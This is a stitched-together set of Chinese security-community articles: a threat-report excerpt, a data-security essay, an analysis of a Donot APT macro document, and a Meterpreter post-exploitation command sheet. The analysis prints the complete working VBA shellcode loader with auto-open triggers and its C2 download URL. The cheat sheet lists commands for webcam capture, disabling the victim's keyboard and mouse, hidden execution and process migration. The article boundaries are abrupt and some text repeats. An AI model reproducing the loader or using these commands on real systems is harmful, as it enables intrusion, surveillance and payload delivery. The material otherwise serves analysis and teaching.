攻击者攻陷一台主机获得其控制权后，往往会在主机上植入后门，安装木马程序，以便下一次入侵时使用。后门木马会长期驻留在受害机器上，接受远控指令执行定期更新，远程下载执行，键盘监控，文件窃取上传等功能。此外，随着IoT物联网设备的增加，针对IoT设备的攻击也越来越频繁，攻击成功后植入后门，组建僵尸网络，挖矿，DDoS攻击等进行获利。2019年上半年典型的肉鸡后门类安全攻击事件如下：
1.2019年7月份捕获一利用Avtech摄像监控等IoT设备漏洞（CNVD-2016-08737）进行入侵的攻击事件。攻击者利用AVTECH
DVR设备中的命令注入漏洞实现远程sh脚本下载执行，最后植入bot后门,
发起DDoS网络攻击活动。全球约有160多万Avtech设备，这些智能摄像头设备、DVR设备均存在被漏洞攻击的风险。
2.2019年7月腾讯安全御见威胁情报中心监测到“Agwl”团伙在入侵行动中将Linux系统纳入攻击范围，攻击成功后植入挖矿以及远控木马。
3.2019年4月，腾讯安全御见威胁情报中心检测到一款Office激活工具被捆绑传播远程控制木马，黑客将恶意代码和正常的激活程序打包在资源文件中，木马会搜集敏感信息上传并对电脑进行远程控制。
# 五、企业终端威胁预测
**1.** **勒索病毒持续影响**
随着挖矿等新型“黑产”的兴起，网络犯罪分子的注意力也逐渐从勒索病毒转移到其他“黑产”事业。2016-2018年期间，勒索病毒的活跃度持续下降。但防范勒索病毒的攻击，依然是企业终端安全的重要事项。我们观察到，勒索病毒的攻击目标从攻击个人用户，逐渐转变为攻击手段更集中、针对性更强，以攻击企业用户为主。2019年勒索病毒的活跃度逐渐平稳，但近期有上升趋势。
随着GandCrab宣布停运，新秀Sodinokibi开始大量接替GandCrab原有的病毒传播渠道，技术专家一度怀疑GandCrab勒索病毒停止传播只是障眼法，该犯罪团伙可能改头换面，继续经营新的勒索病毒。同时我们还观测到，Ryuk家族的勒索病毒活跃度逐渐升高，有进一步大规模扩散的趋势。勒索病毒家族不断的新出，可以预见在未来相当长一段时间内，勒索病毒破坏活动依然持续，企业对勒索病毒的防范依然不可松懈。
**2.** **BlueKeep** **为代表的漏洞逐渐武器化，对企业影响深远**
安全研究员发现微软的远程桌面服务中存在一个名为BlueKeep的漏洞（CVE-2019-0708），攻击者可无需与用户端交互，即可实现远程代码执行，进而获得系统控制权。利用此漏洞的恶意软件可能从易受攻击的计算机之间互相传播，与2017年蔓延全球的WannaCry恶意软件类似。
近期BlueKeep
漏洞利用工具，开始被公开售卖。7.24日美国公司Immunity，一家专业出售商业化渗透测试套件的公司，开始在推特上公开叫卖，出售其商业漏洞利用工具（Canvas），其中便包含BlueKeep的漏洞利用。虽然Canvas
价格高昂，但对黑客来说，破解其授权并非难事，一旦新版工具泄露出来，或许将会对企业造成类似WannaCry的破坏力。
**3.** **5G** **时代即将到来，将进一步扩大网络攻击范围**
在2018年5G
网络基础已陆续开始部署，2019年6月，中国5G商用牌照正式发放，标志着中国正式进入5G商用元年，5G将迎来加速发展。一方面，越来越多的设备将接入物联网，更多的设备可能受到攻击。另外，近年来，大量的僵尸网络感染物联网，典型的有Gafgtyt僵尸网络，通过感染大量的物联网设备构成的僵尸网络，通常可发起DDoS等攻击，随着更多的设备接入物联网，此类僵尸网络的攻击方式可能会发生改变，如变成窃取个人、企业的隐私、机密等，危害行将进一步扩大。
另一方面5G时代的到来，更多的本地应用将可放到云上，虽然云计算可以帮助我们简化本地领域的安全问题，但随着个人、企业更多的业务都放到云上，黑客也将把更多注意放到云上，云安全也应引起广大企业的重视。
# 六、企业安全威胁防护建议
## (一)企业服务器端
企业常见的服务器包括包括邮件服务器、DNS服务器、VPN服务器，这些基础设施的安全性往往会影响到企业重要业务。例如攻击者可通过账号爆破、弱口令密码登录、DoS攻击、系统配置漏洞等方式入侵。
企业服务器常见的安全防护方案，是防火墙、IDS、IPS、杀毒软件等防护产品，对风险流量、邮件、文件告警、拦截过滤，同时要注意排查是否存在弱口令登录漏洞等系统配置漏洞。
推荐企业用户使用腾讯御界高级威胁检测系统，御界高级威胁检测系统，基于腾讯反病毒实验室的安全能力、依托腾讯在云和端的海量数据，研发出的独特威胁情报和恶意检测模型系统。通过对企业网络出入网络流量的智能分析，从中发现黑客入侵或病毒木马连接内网的线索。
## (二) 企业客户端
企业应部署客户端防病毒软件，让企业网络的所有节点都具有最新的病毒防范能力。推荐使用腾讯御点终端安全管理系统，管理员可以掌控全网的安全动态，及时发现和清除病毒威胁。
1.漏洞修补
企业所有终端节点：包括服务器和客户端都应及时安装操作系统和主要应用软件的安全补丁，减少病毒木马利用系统漏洞入侵的可能性。企业内网使用腾讯御点终端威胁管理系统可以全网统一安装系统补丁，提升客户端的安全性。
2.使用更高版本的操作系统，新版本操作系统的攻击门槛较高
比如将内网终端系统升级到最新的Windows 10，普通攻击者攻击得逞的可能性会降低。
3.加强员工网络安全防护意识，包括不限于：
1) 不要轻易下载不明软件程序
2) 不要轻易打开不明邮件夹带的可疑附件
3) 及时备份重要的数据文件
4) 其它
4.其它必要措施：
1) 关闭不必要的端口，如：445、135，139等，对3389，5900等端口可进行白名单配置，只允许白名单内的IP连接登陆。
2) 关闭不必要的文件共享，如有需要，请使用ACL和强密码保护来限制访问权限，禁用对共享文件夹的匿名访问。
3) 采用高强度的密码，避免使用弱口令，并定期更换。
4) 对没有互联需求的服务器/工作站内部访问设置相应控制，避免可连外网服务器被攻击后作为跳板进一步攻击其他服务器。
* * * | 社区文章 |
# 数据安全左移成为数据保护策略演进的核心方向
##### 译文声明
本文是翻译文章，文章原作者 郭灵，文章来源：CCIA数据安全工作委员会
原文地址：<https://mp.weixin.qq.com/s/HP6E6iQqGLbTpgU7rd7pyg>
译文仅供参考，具体内容表达以及含义原文为准。
数字化转型时期，数据的开发利用、数据价值的再创造让数据成为了新时代关注的焦点。数据开发利用的新场景、新兴技术的应用引入了全新的威胁风险，数据安全技术发展正面临着前所未有的挑战。
数据安全保护诉求正在发生变化
**1、从以网络和系统为中心到以数据为中心**
长期以来，数据作为相对静态的资产，存放于数据库中，传统的防护以网络和系统为中心，更多关注的是数据的存储位置以及所在的业务系统。如今，数据成为新型生产资料，数量级急剧暴增，既有结构化的数据也有非结构化的数据，处理活动变得频繁，访问、复制、传输数据的角色过多，数据扩散在各个终端电脑中。此时，以网络和系统为中心的防护策略从被保护对象层面来看粒度较粗，无法从数据价值、数据类型以及业务关系的角度对数据资产进行梳理，无法根据数据的重要程度和泄露影响采取不同的管控措施。着眼于数据本体的防护策略的转变成为新时代数据安全保护的要领，使保护对象更加清晰明确，让数据安全保护拥有有效的抓手，安全收益得以量化。
**2、从关注网络边界到跟踪数据流转路径**
过去，安全防护思想有明显的内外网之分，默认内部是安全可信的，安全动作集中在内外网边界处，部署一系列检测、监控、拦截等感知和处置措施，阻断数据泄露的可能性。伴随数据使用场景的增加以及数据全面上云，数据生命周期中涉及的节点数量变多，数据形态多样，在数据抵达边界之前，在内部流动过程中，因畅通无阻且缺乏监控，容易造成越权滥用、无序扩散、存储混乱等风险，恶意泄露以及被攻击窃取的风险也在不断增加，只进行边界防护存在很大的数据防护盲区。更早地识别并标记组织内的数据资产，并且对敏感数据流动的轨迹、状态的变化进行记录成为有力的突破手段，安全策略应该依据敏感数据本身的风险变动而做出细粒度的、动态的控制。
**3、从单品各自为阵到一致性安全原则**
伴随组织信息化逐步完善而建立起来的安全体系，逐渐从单薄走向了臃肿，复杂的IT架构导致安全设备碎片化，异构的产品之间采用不同的逻辑和策略，形成了新的数据安全孤岛，带来新的防护盲区。为了更高效和更有效地感知数据安全风险，做出恰如其分的处置措施，一体化的数据安全建设逐渐成为主流选择，诊疗一体的数据安全管控平台将成为践行一致性安全原则的最佳实践。
**4、从被动响应到持续风险评估**
网安法、数安法、个保法建立起来的数据安全保护顶层设计，以及众多实施配套实施细则和标准释放出强烈信号，未来数据安全合规监管将会是常态化的工作，以查促建、以查促防采是根本，而并非针对安全事故进行单独的响应。企业必须建立自动化的、持续的合规评估流程和技术体系来应对监管，随着数据不断增删和变动、业务流程越来越复杂，自动化的风险评估手段成为面对监管考核的必备手段。
下一代数据安全保护思路趋势和落地方式
基于以上数据安全保护诉求的变化，需要新的防护理念和安全架构，使数据在全生命周期的处理活动中都能保证被安全地存储、使用、共享，既要满足合规要求又要做到风险可控，这需要将数据防护措施从边界延展到数据运营（DataOps）的全流程。
**数据安全左移是数字时代以数据为中心的安全发展的必然趋势，使安全能力前置，**
**在数据处理的第一现场持续对数据处理和使用的过程进行追踪，横贯数据处理流转的** **整个** **环节，发掘数据风险的真正源头。**
在数据安全左移之中，存在三个核心能力。 **第一是全链路数据识别** **和追踪** **，**
即追踪数据的各种使用维度，包括端点侧、Server侧、流量侧、API侧、Docker侧等，数据安全永远关注数据的使用与流转。
**第二是轻量化自适应防护，**
当无法承受全链路识别追踪所带来的压力时，通过轻量化的方式，可以有效降低各维度的成本，包括最终使用侧的成本与维护侧的成本。通过自适应的方式，根据风险进行量化评估，便能实现对全流程进行监测和分析，以便对症下药。
**第三是** **数据安全风险评估** **，**
脱离传统的技术为辅、人力为主的方式，更多地以工具及产品为主导，利用自动化的方式进行风险评估，提高业务落地过程中的可执行性。
根据Gartner的定义，DataOps是一种协作化数据管理实践，专注于改善整个组织中数据管理人员和数据消费者之间数据流的通信、集成和自动化。 **通过在
DataOps中内嵌安全属性的方式，可以实现数据安全左移的技术落地，Data** **Sec** **Ops
是一种敏捷、整体、安全的嵌入式方法，用于协调不断变化的数据及其用户，旨在提供快速的数据价值，同时保持数据的私密性、安全性和良好的管理。**
**1、敏感数据感知识别**
基于人工智能技术的应用，DataSecOps对数据进行深度的识别，包括全类型、多源头以及结构化数据、非结构化数据，甚至是暗数据，让组织的海量数据不落死角清晰呈现，为业务运营与数据保护提供抓手支撑。对于个人隐私、商业数据、政务数据的本体特征、行业特征、合规特征等不同的角度，以数据为核心的主视角挖掘各种风险，通过数据分类模型及小数据机器学习能力，快速建立敏感数据知识图谱，并支持文件内容、个人信息以及数据血亲关系的多维度快速检索，辅助企业对数据进行详细梳理和分类研判，为安全合规与有效保护之间达成高度平衡。
**2、持续风险监测和自适应防护**
以数据为中心，DataSecOps向频繁接受数据的业务和用户靠近，对数据运营过程中的数据进行自动的梳理，全流程跟踪数据的形态变化和运行轨迹，完整溯源敏感数据流转过程，持续评估数据在业务系统、计算终端、服务器接口等处的运行风险。基于风险评估结果，对不同的数据角色和风险接受程度进行自适应的细粒度的防护策略，对于敏感数据流出业务范围、越权访问等风险快速识别响应，实现基于业务的数据利用和数据安全的有效平衡。
**3、数据安全风险合规评估**
基于以上数据深度识别建立起的数据全流程追踪与防护能力，DataSecOps为用户建立的是数据安全风险态势感知能力，最终，这种新理念下的安全平台将服务于企业的数据使用和数据运营，类似于人体的健康体检，持续在进行数据安全评估，保障了企业的核心机密、用户隐私数据保护的内生需求和安全合规要求，指导企业进行业务和安全整改完善，做到风险的持续收敛，通过多次循环的评估检查过程最终实现数据的快速合规和安全运用。
（本文作者：北京数安行科技有限公司 郭灵） | 社区文章 |
**作者：Yenn_
原文链接：
[https://0xdf1001f.github.io/2021/02/23/OD%E8%B0%83%E8%AF%95%E5%AE%8F%E4%BB%A3%E7%A0%81%E4%B8%AD%E7%9A%84%E6%96%B0%E7%BA%BF%E7%A8%8B/](https://0xdf1001f.github.io/2021/02/23/OD调试宏代码中的新线程/)
**
## donot - fees_10_to_12-copy.doc - 7a6559ff13f2aecd89c64c1704a68588
### 基本信息
File Name | File Size | File Type | MD5
---|---|---|---
fees_10_to_12-copy.doc | 46,119 Bytes | Downloader |
7a6559ff13f2aecd89c64c1704a68588
样本是一个带有宏代码的.doc文档，文档内无诱饵内容，代码部分被加密
### 样本分析
#### donot - fees_10_to_12-copy.doc
将宏代码提取后：
#If VBA7 Then
Private Declare PtrSafe Function JiJJJJLjIiLiliLl Lib "kernelbase" Alias "CreateRemoteThread" (ByVal Zopqva As LongPtr, ByVal Zopqv As Long, ByVal Xhxi As Long, ByVal Mqnynfb As LongPtr, Tfe As Long, ByVal Zukax As Long, Rlere As Long) As LongPtr
Private Declare PtrSafe Function liljJjliiJIiiilL Lib "kernel32" Alias "VirtualAlloc" (ByVal Xwl As Long, ByVal Sstjltuas As Long, ByVal Bnyltjw As Long, ByVal Rso As Long) As LongPtr
Private Declare PtrSafe Function JlljIIIiILjliJJj Lib "kernel32" Alias "RtlMoveMemory" (ByVal Dkhnszol As LongPtr, ByRef Wwgtgy As Any, ByVal Hrkmuos As Long) As LongPtr
#Else
Private Declare Function JiJJJJLjIiLiliLl Lib "kernelbase" Alias "CreateRemoteThread" (ByVal Zopqva As Long, ByVal Zopqv As Long, ByVal Xhxi As Long, ByVal Mqnynfb As Long, Tfe As Long, ByVal Zukax As Long, Rlere As Long) As Long
Private Declare Function liljJjliiJIiiilL Lib "kernel32" Alias "VirtualAlloc" (ByVal Xwl As Long, ByVal Sstjltuas As Long, ByVal Bnyltjw As Long, ByVal Rso As Long) As Long
Private Declare Function JlljIIIiILjliJJj Lib "kernel32" Alias "RtlMoveMemory" (ByVal Dkhnszol As Long, ByRef Wwgtgy As Any, ByVal Hrkmuos As Long) As Long
#End If
Sub iIljILiiJILLlljL()
Dim jLlJLiiLjliLIIiL As Variant, ILlIjjlLJJJJlJIJ As Variant, IiJlLIlJIjIJJIiI As Variant, JlLiLJjLjiJlllIi As Long
#If VBA7 Then
Dim iIJIllLIliILJIll As LongPtr, jJjjJILLLJjijjjj As LongPtr, lljIJiiiIIjJjiIj As LongPtr
#Else
Dim iIJIllLIliILJIll As Long, jJjjJILLLJjijjjj As Long, lljIJiiiIIjJjiIj As Long
#End If
jLlJLiiLjliLIIiL = Array(137, 255, 85, 137, 229, 85, 131, 236, 64, 217, 235, 155, 217, 116, 36, 244, 93, 131, 237, 9, 141, 77, 37, 186, 188, 3, 0, 0, 246, 17, 128, 49, 253, 65, 74, 117, 247, 51, 203, 186, 50, 2, 2, 2, 102, 137, 54, 3, 137, 116, 14, 137, 116, 30, 137, 92, 10, 137, 124, 34, 137, 52, 130, 125, 12, 48, 119, 240, 139, 220, 235, 133, 2, 2, 2, 98, 139, 255, 139, 241, 84, 137, 113, 62, 137, 118, 28, 122, 3, 220, 84, 137, 116, 34, 3, 220, 51, 203, 75, 131, 119, 2, 209, 194, 175, 184, 67, 175, 3, 218, 84, 51, 244, 13, 188, 18, 58, 212, 118, 10, 195, 204, 5, 3, 212, 66, 233, 243, 59, 119, 2, 92, 119, 230, 88, 139, 221, 137, 88, 38, 3, 249, 100, 137, 14, 73, 137, 88, 30, 3, 249, 137, 6, 137, 3, 250, 139, 71, 2, 92, 129, 199, 6, 129, 127, 2, 2, 119, 167, 99, 193, 130, 58, 234, 118, 13, 130, 58, 235, 118, 8, 130, 58, 206, 118, 7, 130, 58, 233, 119, 19, 131, 122, 7, 146, 146, 146, 146, 118, 10, 139, _
253, 87, 139, 231, 143, 66, 7, 253, 226, 104, 2, 104, 2, 139, 229, 197, 5, 182, 155, 113, 166, 234, 106, 253, 253, 253, 104, 66, 106, 2, 50, 2, 2, 106, 2, 2, 82, 2, 104, 2, 253, 21, 129, 198, 10, 139, 197, 197, 69, 6, 227, 182, 62, 180, 197, 69, 10, 146, 124, 3, 99, 197, 69, 38, 53, 233, 59, 125, 197, 69, 34, 60, 109, 80, 12, 197, 69, 42, 61, 95, 240, 28, 197, 69, 26, 129, 23, 52, 115, 197, 69, 14, 66, 240, 75, 44, 197, 69, 18, 232, 32, 210, 59, 197, 69, 22, 21, 79, 176, 204, 197, 69, 30, 134, 164, 162, 71, 197, 69, 46, 128, 237, 13, 185, 197, 69, 50, 94, 48, 183, 217, 197, 69, 54, 74, 69, 36, 93, 197, 69, 58, 131, 60, 8, 98, 197, 69, 62, 127, 219, 196, 49, 197, 69, 66, 104, 181, 10, 187, 197, 69, 70, 99, 244, 160, 171, 197, 69, 74, 220, 177, 180, 69, 197, 5, 182, 155, 113, 166, 197, 69, 78, 158, 120, 242, 113, 197, 69, 82, 35, 243, 227, 141, 197, 69, 86, 168, 77, 99, 216, _
234, 183, 252, 253, 253, 234, 43, 2, 2, 2, 68, 107, 112, 113, 118, 34, 81, 118, 99, 101, 103, 56, 34, 73, 103, 112, 108, 103, 110, 49, 48, 34, 68, 119, 108, 97, 118, 107, 109, 108, 113, 34, 80, 103, 113, 109, 110, 116, 103, 102, 2, 253, 85, 82, 106, 109, 108, 2, 2, 106, 119, 112, 110, 111, 143, 6, 38, 82, 253, 85, 6, 129, 198, 10, 139, 196, 197, 69, 98, 81, 20, 0, 34, 197, 69, 102, 161, 125, 107, 231, 85, 143, 125, 98, 234, 85, 252, 253, 253, 93, 234, 37, 2, 2, 2, 68, 107, 112, 113, 118, 34, 81, 118, 99, 101, 103, 56, 34, 87, 112, 110, 111, 109, 108, 34, 68, 119, 108, 97, 118, 107, 109, 108, 113, 34, 80, 103, 113, 109, 110, 116, 103, 102, 2, 253, 85, 82, 51, 194, 143, 143, 99, 1, 2, 2, 143, 93, 110, 82, 82, 104, 125, 81, 83, 82, 253, 85, 102, 129, 250, 2, 13, 135, 246, 2, 2, 2, 234, 45, 2, 2, 2, 68, 107, 112, 113, 118, 34, 81, 118, 99, 101, 103, 56, 34, 81, 103, 97, 109, 108, _
102, 34, 81, 118, 99, 101, 103, 34, 81, 106, 103, 110, 110, 97, 109, 102, 103, 34, 70, 109, 117, 108, 110, 109, 99, 102, 103, 102, 2, 253, 85, 82, 51, 194, 82, 104, 3, 104, 1, 82, 104, 3, 106, 2, 2, 2, 130, 81, 253, 85, 14, 82, 143, 157, 238, 2, 2, 2, 104, 2, 143, 22, 38, 104, 2, 80, 106, 2, 82, 2, 2, 81, 82, 253, 85, 70, 129, 198, 6, 90, 82, 253, 85, 30, 139, 220, 244, 20, 130, 52, 60, 68, 131, 60, 90, 137, 135, 59, 119, 240, 130, 57, 146, 118, 66, 130, 57, 206, 118, 57, 130, 57, 139, 118, 52, 234, 46, 2, 2, 2, 68, 107, 112, 113, 118, 34, 81, 118, 99, 101, 103, 56, 34, 75, 108, 116, 99, 110, 107, 102, 34, 81, 103, 97, 109, 108, 102, 34, 81, 118, 99, 101, 103, 34, 81, 106, 103, 110, 110, 97, 109, 102, 103, 2, 253, 85, 82, 233, 54, 234, 40, 2, 2, 2, 68, 107, 112, 113, 118, 34, 81, 118, 99, 101, 103, 56, 34, 84, 99, 110, 107, 102, 34, 81, 103, 97, 109, 108, 102, 34, _
81, 118, 99, 101, 103, 34, 81, 106, 103, 110, 110, 97, 109, 102, 103, 2, 253, 85, 82, 253, 225, 234, 31, 2, 2, 2, 68, 107, 112, 113, 118, 34, 81, 118, 99, 101, 103, 56, 34, 71, 122, 107, 118, 107, 108, 101, 34, 86, 106, 112, 103, 99, 102, 44, 2, 253, 85, 82, 129, 198, 62, 95, 203, 193, 106, 118, 118, 114, 56, 45, 45, 97, 99, 97, 106, 103, 114, 99, 101, 103, 44, 107, 97, 119, 45, 115, 119, 103, 103, 108, 45, 82, 78, 73, 55, 119, 109, 116, 86, 115, 70, 114, 105, 64, 105, 69, 74, 108, 49, 52, 54, 111, 115, 101, 84, 67, 68, 59, 55, 50, 102, 106, 76, 44, 107, 97, 109, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2)
ILlIjjlLJJJJlJIJ = Array(144, 85, 72, 137, 229, 85, 72, 129, 236, 128, 0, 0, 0, 232, 0, 0, 0, 0, 93, 72, 131, 237, 18, 72, 141, 77, 47, 72, 199, 194, 76, 4, 0, 0, 246, 17, 128, 49, 253, 72, 255, 193, 72, 255, 202, 117, 243, 103, 78, 137, 6, 39, 98, 2, 2, 2, 79, 137, 66, 26, 79, 143, 98, 18, 79, 137, 6, 38, 254, 75, 137, 122, 98, 136, 69, 12, 62, 48, 118, 10, 79, 137, 2, 79, 59, 226, 119, 239, 75, 137, 114, 50, 233, 125, 83, 80, 81, 87, 84, 85, 74, 139, 255, 74, 139, 241, 84, 137, 113, 62, 137, 182, 28, 138, 2, 2, 2, 74, 3, 220, 84, 137, 116, 34, 74, 3, 220, 74, 51, 203, 74, 253, 203, 131, 119, 2, 209, 194, 175, 184, 253, 195, 175, 74, 3, 218, 84, 74, 51, 244, 13, 188, 18, 58, 212, 118, 8, 195, 204, 5, 3, 212, 74, 253, 194, 233, 237, 59, 119, 2, 92, 119, 221, 88, 74, 139, 221, 137, 88, 38, 74, 3, 249, 100, 137, 14, 73, 137, 88, 30, 74, 3, 249, 137, 6, 137, 74, 3, 250, 74, 139, _
71, 2, 92, 74, 129, 199, 10, 129, 127, 2, 2, 119, 147, 93, 92, 95, 89, 88, 91, 193, 104, 2, 104, 2, 74, 139, 229, 197, 5, 182, 155, 113, 166, 234, 109, 253, 253, 253, 74, 129, 238, 34, 74, 197, 195, 2, 2, 2, 2, 74, 197, 192, 2, 2, 82, 2, 75, 197, 194, 2, 50, 2, 2, 75, 197, 195, 66, 2, 2, 2, 253, 21, 74, 129, 198, 34, 74, 129, 198, 18, 74, 139, 197, 197, 5, 182, 155, 113, 166, 197, 69, 10, 227, 182, 62, 180, 197, 69, 18, 207, 102, 203, 87, 197, 69, 26, 66, 240, 75, 44, 197, 69, 34, 134, 164, 162, 71, 197, 69, 42, 94, 48, 183, 217, 197, 69, 50, 99, 244, 160, 171, 197, 69, 58, 35, 243, 227, 141, 234, 4, 253, 253, 253, 74, 137, 13, 74, 137, 93, 10, 74, 59, 219, 126, 7, 74, 43, 219, 233, 4, 74, 43, 219, 74, 245, 211, 74, 131, 251, 2, 50, 5, 2, 126, 110, 74, 51, 194, 74, 253, 194, 100, 131, 62, 1, 2, 193, 119, 247, 74, 129, 194, 6, 74, 137, 30, 1, 100, 129, 225, _
2, 104, 2, 74, 143, 6, 38, 74, 129, 238, 34, 74, 139, 219, 74, 197, 192, 2, 19, 2, 2, 75, 197, 194, 66, 2, 2, 2, 75, 139, 195, 253, 85, 18, 74, 129, 198, 34, 90, 197, 1, 2, 2, 2, 2, 104, 2, 74, 143, 6, 38, 74, 129, 238, 34, 74, 139, 219, 74, 197, 192, 2, 19, 2, 2, 75, 197, 194, 34, 2, 2, 2, 75, 139, 195, 253, 85, 18, 74, 129, 198, 34, 90, 74, 186, 119, 112, 110, 111, 109, 108, 2, 2, 82, 74, 143, 6, 38, 74, 129, 238, 34, 74, 139, 195, 253, 85, 10, 74, 129, 198, 34, 74, 129, 198, 10, 74, 139, 196, 197, 69, 74, 81, 20, 0, 34, 197, 69, 82, 161, 125, 107, 231, 85, 74, 143, 125, 74, 234, 60, 252, 253, 253, 93, 66, 130, 230, 242, 74, 143, 135, 249, 1, 2, 2, 74, 143, 93, 98, 74, 129, 238, 50, 74, 197, 195, 2, 2, 2, 2, 74, 139, 192, 75, 139, 218, 75, 197, 195, 125, 2, 2, 2, 74, 197, 70, 38, 34, 2, 2, 2, 2, 74, 197, 70, 38, 42, 2, 2, 2, _
2, 253, 85, 82, 74, 129, 198, 50, 74, 129, 250, 2, 13, 135, 132, 3, 2, 2, 74, 129, 238, 66, 74, 139, 219, 74, 184, 2, 2, 2, 130, 2, 2, 2, 2, 75, 197, 194, 3, 2, 2, 2, 75, 197, 195, 2, 2, 2, 2, 74, 197, 70, 38, 34, 1, 2, 2, 2, 74, 197, 70, 38, 42, 3, 2, 2, 2, 74, 197, 70, 38, 50, 2, 2, 2, 2, 253, 85, 26, 74, 129, 198, 66, 82, 74, 143, 157, 226, 2, 2, 2, 104, 2, 78, 143, 22, 38, 74, 129, 238, 50, 74, 139, 195, 74, 139, 216, 75, 197, 194, 2, 82, 2, 2, 79, 139, 211, 74, 197, 70, 38, 34, 2, 2, 2, 2, 253, 85, 50, 74, 129, 198, 50, 74, 129, 198, 10, 90, 74, 129, 238, 34, 74, 139, 195, 253, 85, 34, 74, 129, 198, 34, 66, 130, 230, 242, 74, 129, 238, 34, 233, 54, 68, 107, 112, 113, 118, 34, 81, 118, 99, 101, 103, 34, 122, 52, 54, 56, 34, 81, 103, 97, 109, 108, 102, 34, 81, 118, 99, 101, 103, 34, 81, 106, 103, 110, 110, 97, 109, 102, _
103, 34, 70, 109, 117, 108, 110, 109, 99, 102, 103, 102, 44, 2, 74, 143, 15, 199, 253, 253, 253, 253, 85, 58, 74, 129, 198, 34, 74, 139, 220, 244, 20, 130, 52, 60, 74, 253, 196, 131, 60, 90, 137, 135, 59, 119, 242, 130, 57, 146, 118, 86, 130, 57, 206, 118, 77, 130, 57, 74, 118, 72, 66, 130, 230, 242, 74, 129, 238, 34, 233, 50, 68, 107, 112, 113, 118, 34, 81, 118, 99, 101, 103, 34, 122, 52, 54, 56, 34, 75, 108, 116, 99, 110, 107, 102, 34, 81, 103, 97, 109, 108, 102, 34, 81, 118, 99, 101, 103, 34, 81, 106, 103, 110, 110, 97, 109, 102, 103, 2, 74, 143, 15, 203, 253, 253, 253, 253, 85, 58, 74, 129, 198, 34, 233, 74, 66, 130, 230, 242, 74, 129, 238, 34, 233, 44, 68, 107, 112, 113, 118, 34, 81, 118, 99, 101, 103, 34, 122, 52, 54, 56, 34, 84, 99, 110, 107, 102, 34, 81, 103, 97, 109, 108, 102, 34, 81, 118, 99, 101, 103, 34, 81, 106, 103, 110, 110, 97, 109, 102, 103, 2, 74, 143, 15, 201, 253, 253, 253, 253, _
85, 58, 74, 129, 198, 34, 253, 225, 74, 131, 198, 138, 2, 2, 2, 95, 203, 193, 106, 118, 118, 114, 56, 45, 45, 97, 99, 97, 106, 103, 114, 99, 101, 103, 44, 107, 97, 119, 45, 115, 119, 103, 103, 108, 45, 82, 78, 73, 55, 119, 109, 116, 86, 115, 70, 114, 105, 64, 105, 69, 74, 108, 49, 52, 54, 111, 115, 101, 84, 67, 68, 59, 55, 50, 102, 106, 76, 44, 114, 108, 101, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2)
#If Win64 Then
IiJlLIlJIjIJJIiI = ILlIjjlLJJJJlJIJ
#Else
IiJlLIlJIjIJJIiI = jLlJLiiLjliLIIiL
#End If
iIJIllLIliILJIll = liljJjliiJIiiilL(0, UBound(IiJlLIlJIjIJJIiI), &H1000, &H40)
For JlLiLJjLjiJlllIi = LBound(IiJlLIlJIjIJJIiI) To UBound(IiJlLIlJIjIJJIiI)
jJjjJILLLJjijjjj = IiJlLIlJIjIJJIiI(JlLiLJjLjiJlllIi)
lljIJiiiIIjJjiIj = JlljIIIiILjliJJj(iIJIllLIliILJIll + JlLiLJjLjiJlllIi, jJjjJILLLJjijjjj, 1)
Next JlLiLJjLjiJlllIi
lljIJiiiIIjJjiIj = JiJJJJLjIiLiliLl(-1, 0, 0, iIJIllLIliILJIll, 0, 0, 0);创建新线程
End Sub
Sub AutooPEN()
iIljILiiJILLlljL
End Sub
Sub WOrkBook_OPen()
iIljILiiJILLlljL
End Sub
通过阅读宏代码，得知样本的大意为硬编码的数据，解密出一段Shellcode并在自身中创建新线程执行。
在创建线程的地方下断，“iIJIllLIliILJIll”为新线程函数地址，通过调试得到这次的内存地址为”322371584”，转为HEX为”1337
0000”
通过阅读宏代码，得知样本的大意为硬编码的数据，解密出一段Shellcode并在自身中创建新线程执行。
在创建线程的地方下断，“iIJIllLIliILJIll”为新线程函数地址，通过调试得到这次的内存地址为”322371584”，转为HEX为”1337
0000”。
这里创建新线程后，代码进入了新线程内，Office内的调试器不能调试，OD忽略所有异常然后附加进程”WINWORD.exe”,跳转前面的函数地址，来到写入的Shellcode地址，修改EIP到代码起始位置，开始调试。
#### New Thread
解密算法：
解密获取到VirtualAlloc的地址并调用，申请一块内存，通过硬编码写入数据，再次解密出需要使用的函数地址。
尝试从C2地址下载文件”[http://cachepage.icu/queen/PLK5uovTqDpkBkGHn364mqgVAF950dhN.ico"](http://cachepage.icu/queen/PLK5uovTqDpkBkGHn364mqgVAF950dhN.ico
\\t)
截至分析时，下载的文件已失效
* * * | 社区文章 |
Metasploit中的Meterpreter模块在后渗透阶段具有强大的攻击力，本文主要整理了meterpreter的常用命令、脚本及使用方式。包含信息收集、提权、注册表操作、令牌操纵、哈希利用、后门植入等。
### 0x01.系统命令
#### 1）基本系统命令
sessions #sessions –h 查看帮助
sessions -i <ID值> #进入会话 -k 杀死会话
background #将当前会话放置后台
run #执行已有的模块，输入run后按两下tab，列出已有的脚本
info #查看已有模块信息
getuid # 查看权限
getpid # 获取当前进程的pid
sysinfo # 查看目标机系统信息
ps # 查看当前活跃进程 kill <PID值> 杀死进程
idletime #查看目标机闲置时间
reboot / shutdown #重启/关机
shell #进入目标机cmd shell
#### 2）uictl开关键盘/鼠标
uictl [enable/disable] [keyboard/mouse/all] #开启或禁止键盘/鼠标
uictl disable mouse #禁用鼠标
uictl disable keyboard #禁用键盘
#### 3）webcam摄像头命令
webcam_list #查看摄像头
webcam_snap #通过摄像头拍照
webcam_stream #通过摄像头开启视频
#### 4）execute执行文件
execute #在目标机中执行文件
execute -H -i -f cmd.exe # 创建新进程cmd.exe，-H不可见，-i交互
#### 5）migrate进程迁移
getpid # 获取当前进程的pid
ps # 查看当前活跃进程
migrate <pid值> #将Meterpreter会话移植到指定pid值进程中
kill <pid值> #杀死进程
#### 6）clearav清除日志
